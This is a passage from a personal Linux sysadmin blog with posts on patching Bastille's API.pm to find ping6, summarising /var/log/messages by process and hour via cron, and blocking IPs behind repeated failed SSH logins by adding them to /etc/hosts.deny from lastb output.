...
export PATH="/bin:/usr/bin:/usr/sbin:$PATH"
export PERL5LIB="$PERL5LIB:/opt/sec_mgmt/bastille/lib:/usr/lib/perl5/site_perl:/usr/lib/Bastille:/usr/lib/perl5/site_perl/5.6.0/i386-linux"
...
...

$ cd /usr/lib/Bastille
$ grep GLOBAL_BIN *
API.pm:       %GLOBAL_BIN %GLOBAL_DIR %GLOBAL_FILE
API.pm:    my %map = ("BIN"   => \%GLOBAL_BIN,
API.pm:     # type relates to the map above, type bin will map to GLOBAL_BIN
API.pm:    foreach my $hashref (\%GLOBAL_BIN,\%GLOBAL_DIR,\%GLOBAL_FILE,\%GLOBAL_BFILE,\%GLOBAL_BDIR) {
API.pm:  my %map = ("BIN"   => \%GLOBAL_BIN,
API.pm:    # i.e. Bastille tried to use $GLOBAL_BIN{'cp'} but it does not exist.
API.pm.sweth:   %GLOBAL_BIN %GLOBAL_DIR %GLOBAL_FILE %GLOBAL_MISC
API.pm.sweth:         $GLOBAL_BIN{$DISTRO_FILE} = $PATH_TEMP;
API.pm.sweth:         `$GLOBAL_BIN{"cp"} -p $file $backup_file`;
API.pm.sweth:         $return=`$GLOBAL_BIN{"mknod"} $prefix $file $suffix`;
OSX_API.pm:    $GLOBAL_BIN{"md5sum"}="/usr/bin/md5sum";

In the OSX_API.pm, it is likely a PM meant for MacOSX. It also hard-coded the md5sum fullpath in the GLOBAL_BIN associative array. Hey, likely I can do the same for ping6 in the API.pm. My instinct tells me that API.pm is the generic API module and likely to be the entry point for bastille.

I explicitly define the full path of ping6 right after the package definition as shown below. Guess what, bastille runs without any error. I won't say the problem is solved, but at least I provided a workaround.

$ cat API.pm
...
...
package Bastille::API;
$GLOBAL_BIN{'ping6'}="/bin/ping6";

...
...

Labels: ,

Wednesday, April 16, 2008

/var/log/messages and Security, Part 2

This morning I blogged about the how to find out what ip addresses the hackers are trying to ssh into your server. In order to be more proactive, I implemented this auto-include script to run as a cron job so that I can automatically include those ip addresses into the /etc/hosts.deny if they are not already there.
#! /bin/sh
# automatically include the top 10 ip addressess that deny ssh login logged in lastb


for i in `lastb -i | awk '$2~/^ssh:/{++s[$3]}END{for(i in s){print i,s[i]}}' | sort -n -k 2 -r | head | cut -f1 -d" "`
do
        egrep ":$i$|:$i,|,$i,|,$i$" /etc/hosts.deny > /dev/null 2>&1 || echo "sshd:$i" >> /etc/hosts.deny
done

Labels: , ,

/var/log/messages and Security

Yesterday my colleague was asking me how to summarise the /var/log/messages in Linux. Below is a typical output of /var/log/messages:
Apr 13 04:06:41 myserver syslogd 1.4.1: restart.
Apr 13 04:30:23 myserver smartd[2483]: Device: /dev/sda, Temperature changed 2 Celsius to 31 Celsius since last report
Apr 13 13:30:23 myserver smartd[2483]: Device: /dev/sda, Temperature changed -2 Celsius to 29 Celsius since last report
Apr 15 04:02:42 myserver webalizer: gethostby*.getanswer: asked for "194.216.80.218.in-addr.arpa IN PTR", got type "A"
Apr 15 04:37:23 myserver auditd[1899]: Audit daemon rotating log files
Apr 15 12:00:23 myserver smartd[2483]: Device: /dev/sda, Temperature changed 2 Celsius to 31 Celsius since last report
Apr 15 14:00:23 myserver smartd[2483]: Device: /dev/sda, Temperature changed -2 Celsius to 29 Celsius since last report
Apr 15 14:30:23 myserver smartd[2483]: Device: /dev/sda, Temperature changed -2 Celsius to 27 Celsius since last report
Apr 15 14:30:23 myserver smartd[2483]: Device: /dev/sdb, Temperature changed -5 Celsius to 24 Celsius since last report
Apr 15 16:30:23 myserver smartd[2483]: Device: /dev/sdb, Temperature changed 3 Celsius to 27 Celsius since last report

Basically the fields are month, day, time, hostname, process-name, message. We can summarise the process count base on date and time. Also, we can launch the script just before mid-night to summarise that day's messages and have it email to your account. Include the below script in your crontab to run at 23:59 everyday

#! /bin/sh


month=`date '+%b'`
day=`date '+%d'`

# cron at 23:59 and sleep for 1 min in order to collect a complete messages for the day
sleep 60

awk -v m=$month -v d=$day '
$1==m && $2==d {
        split($3,t,":")
        split($5,p,"[:\(\[]")
        ind=sprintf("%s %s:00:00",p[1],t[1])
        ++s[ind]
}
END {
        for(i in s) {
                print i, s[i]
        }
}' /var/log/messages 2>/dev/null | sort | \
mailx -s "Summary of /var/log/messages" yourname@yourcompany.com

You should get an email everyday in this format:

auditd 04:00:00 1
smartd 12:00:00 1
smartd 14:00:00 3
smartd 16:00:00 1
smartd 17:00:00 2
smartd 19:00:00 1
smartd 23:00:00 1
webalizer 04:00:00 1

After running this script, my colleague realised that there were lots of sshd processes with deny access. In Linux, you can track down the bad login using lastb command. However, this is not setup by default and you need to touch /var/log/btmp to activate that. Once that is done, you will get output from lastb like below: (Note, ip and usernames are masked for secuity reason)

# lastb | head
xxuser    ssh:notty    xxx.166.139.yyy   Wed Apr 16 07:50 - 07:50  (00:00)
rxxot     ssh:notty    xxx.124.185.yyy   Wed Apr 16 04:14 - 04:14  (00:00)
xxisha    ssh:notty    xxx.212.57.yyy    Wed Apr 16 01:17 - 01:17  (00:00)
axxisha   ssh:notty    xxx.212.57.yyy    Wed Apr 16 01:17 - 01:17  (00:00)
xxisha    ssh:notty    xxx.212.57.yyy    Wed Apr 16 01:17 - 01:17  (00:00)
xxisha    ssh:notty    xxx.212.57.yyy    Wed Apr 16 01:17 - 01:17  (00:00)
xxisha    ssh:notty    xxx.212.57.yyy    Wed Apr 16 01:16 - 01:16  (00:00)
xxisha    ssh:notty    xxx.212.57.yyy    Wed Apr 16 01:16 - 01:16  (00:00)
axxisha   ssh:notty    xxx.212.57.yyy    Wed Apr 16 01:16 - 01:16  (00:00)
axxisha   ssh:notty    xxx.212.57.yyy    Wed Apr 16 01:16 - 01:16  (00:00)

What we can do is to find out the top 10 'hacker' ip addresses so that we can include that in the /etc/hosts.deny file to block off the bad guys. We can also find out what username hackers like to try and ensure these accounts do not exist or protected with strong password.

# lastb | awk '/Apr/{++s[$3]}END{for(i in s){print i,s[i]}}' | sort -n -k 2 -r | head -10
xxx.191.254.yyy 1178
xxx.208.50.yyy 1106
xxx.108.131.yyy 1043
xxx.29.152.yyy 957
xxx.220.217.yyy 295
xxx.68.36.yyy 295
xxx.196.13.yyy 295
xxx.194.55.yyy 295
xxx.118.166.yyy 295
xxx.130.201.yyy 265
# lastb | awk '{++s[$1]}END{for(i in s){print i,s[i]}}' | sort -n -k 2 -r | head -10
root 19230
admin 3704
test 3290
guest 1442
webmaste 1146
user 1014
oracle 894
info 716
postgres 618
ftpuser 604

Labels: , ,